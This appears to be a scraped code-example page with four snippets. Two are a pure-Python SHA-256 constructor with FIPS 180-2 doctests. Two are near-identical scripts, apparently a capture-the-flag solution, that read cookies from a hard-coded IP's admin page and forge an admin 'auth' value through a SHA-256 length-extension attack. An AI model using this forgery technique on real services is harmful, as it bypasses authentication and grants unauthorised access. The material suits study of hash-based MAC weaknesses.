Exemplo n.º 1
0
def new(data=None):
        """Create a new pure python SHA-256 hash object
        
        data =  initial input (raw string) to the hashing object
                if present, the method call update(arg) is made
        
        EXAMPLE: FIPS 180-2
        =========
        
        >>> from CryptoPlus.Hash import python_SHA256
        
        >>> message = "abc"
        >>> hasher = python_SHA256.new()
        >>> hasher.update(message)
        >>> hasher.hexdigest()
        'ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad'
        
        >>> message = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"
        >>> hasher = python_SHA256.new()
        >>> hasher.update(message)
        >>> hasher.hexdigest()
        '248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1'
        """
        return sha256(data)
Exemplo n.º 2
0
def new(data=None):
    """Create a new pure python SHA-256 hash object
        
        data =  initial input (raw string) to the hashing object
                if present, the method call update(arg) is made
        
        EXAMPLE: FIPS 180-2
        =========
        
        >>> from CryptoPlus.Hash import python_SHA256
        
        >>> message = "abc"
        >>> hasher = python_SHA256.new()
        >>> hasher.update(message)
        >>> hasher.hexdigest()
        'ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad'
        
        >>> message = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"
        >>> hasher = python_SHA256.new()
        >>> hasher.update(message)
        >>> hasher.hexdigest()
        '248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1'
        """
    return sha256(data)
Exemplo n.º 3
0
import requests
from urllib import quote_plus as urlencode
from pysha256 import sha256

HOST = "54.211.6.40"

r = requests.get("http://" + HOST + "/admin.php")

orig_val = r.cookies['auth']

prefix_len = 8
orig_val = "b:0;"[::-1]
new_thing = "b:1;"[::-1]

#THANKS EINDBAZEN
h = sha256()
orig_hash = r.cookies['hsh']
split_hash = map(lambda x: int(x, 16),
                 [orig_hash[x:x + 8] for x in range(0, len(orig_hash), 8)])

h = sha256()
h._h = split_hash[:]
h.update(new_thing)
new_val = orig_val + '\x80'
new_val += '\x00' * (64 - (prefix_len) - len(orig_val) - 2)
padlen = (prefix_len + len(orig_val)) * 8
new_val += chr(padlen)
new_val += new_thing

fake_len = (len(new_val) + prefix_len) * 8
fake = h.hexdigest(fake_len).lower()
Exemplo n.º 4
0
import requests 
from urllib import quote_plus as urlencode
from pysha256 import sha256

HOST = "54.211.6.40"

r = requests.get("http://"+HOST+"/admin.php")

orig_val = r.cookies['auth']

prefix_len = 8
orig_val = "b:0;"[::-1]
new_thing = "b:1;"[::-1]

#THANKS EINDBAZEN
h = sha256()
orig_hash = r.cookies['hsh']
split_hash = map(lambda x: int(x,16),[orig_hash[x:x+8] for x in range(0,len(orig_hash),8)])

h = sha256()
h._h = split_hash[:]
h.update(new_thing)
new_val = orig_val + '\x80'
new_val += '\x00' * (64-(prefix_len)-len(orig_val)-2)
padlen = (prefix_len + len(orig_val)) * 8
new_val += chr(padlen)
new_val += new_thing

fake_len=(len(new_val) + prefix_len) * 8
fake = h.hexdigest(fake_len).lower()